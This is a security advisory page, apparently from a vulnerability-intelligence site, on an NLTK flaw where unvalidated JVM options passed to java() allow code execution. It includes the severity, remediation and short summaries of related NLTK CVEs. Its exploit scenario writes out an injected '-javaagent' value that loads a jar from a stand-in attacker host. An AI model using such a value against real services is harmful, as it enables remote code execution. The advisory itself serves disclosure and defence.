EUVD-2026-65525
GHSA-3h2g-j4wp-7qqq
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable unauthenticated RCE, but AC:H because exploitation depends on the app using the legacy Stanford wrappers and routing untrusted data into the options parameter; full CIA impact via JVM code execution.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
NLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.
AnalysisAI
Argument injection in the Natural Language Toolkit (NLTK) Python library before 3.10.3 allows attackers who control the per-call options parameter of the java() helper to inject dangerous JVM flags (such as -agentpath, -javaagent, or @argfile) into invocations of the bundled Stanford NLP wrapper classes, resulting in arbitrary code execution. The flaw stems from missing validation of JVM options before they are handed to the spawned Java process. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application invoke NLTK's Java-backed Stanford wrapper classes (StanfordTagger/StanfordParser/CoreNLP integrations that call `nltk.internals.java()`) AND that an attacker be able to control the per-call `options` parameter passed to that function, with a working Java runtime installed on the host. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) rates this as network-reachable, low-complexity, unauthenticated RCE, which is the theoretical ceiling. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An NLP web service uses NLTK's Stanford tagger and lets clients pass optional tuning flags that are forwarded into the `java()` `options` parameter. An attacker submits an option value containing `-javaagent:http://attacker/evil.jar` (or `-agentpath` to a planted native library), which the JVM loads at startup, executing attacker code with the service's privileges. … |
| Remediation | Upgrade NLTK to the fixed release: Vendor-released patch: 3.10.3, which adds validation of JVM options passed through the `java()` function. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, enumerate all systems running NLTK < 3.10.3, prioritizing production instances that process external input through NLP functions. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Arbitrary code execution in the NLTK (Natural Language Toolkit) Python library affects all versions through its data dow
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research a
nltk is vulnerable to Inefficient Regular Expression Complexity. Rated high severity (CVSS 7.5), this vulnerability is r
NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a .
Arbitrary code execution in NLTK (Natural Language Toolkit) through 3.9.4 allows attackers to run Python code when a vic
Arbitrary code injection in the Natural Language Toolkit (NLTK) before 3.9.3 stems from the downloader module extracting
Arbitrary code execution in the Natural Language Toolkit (NLTK) before 3.10.3 allows attackers to bypass the library's p
Remote code execution in NLTK's TransitionParser component allows arbitrary OS command execution when a victim loads a c
StreamBackedCorpusView in NLTK before 3.10.0 allows arbitrary local file reads by calling Python's builtins.open() direc
Symlink-based path traversal in NLTK's FramenetCorpusReader before version 3.10.2 permits attackers with write access to
Path traversal in NLTK before 3.10.3 exposes arbitrary filesystem content and SQLite databases by bypassing the library'
Unbounded recursion in NLTK's JSONTaggedDecoder.decode_obj() (nltk/jsontags.py) allows unauthenticated remote attackers
Share
External POC / Exploit Code
Leaving vuln.today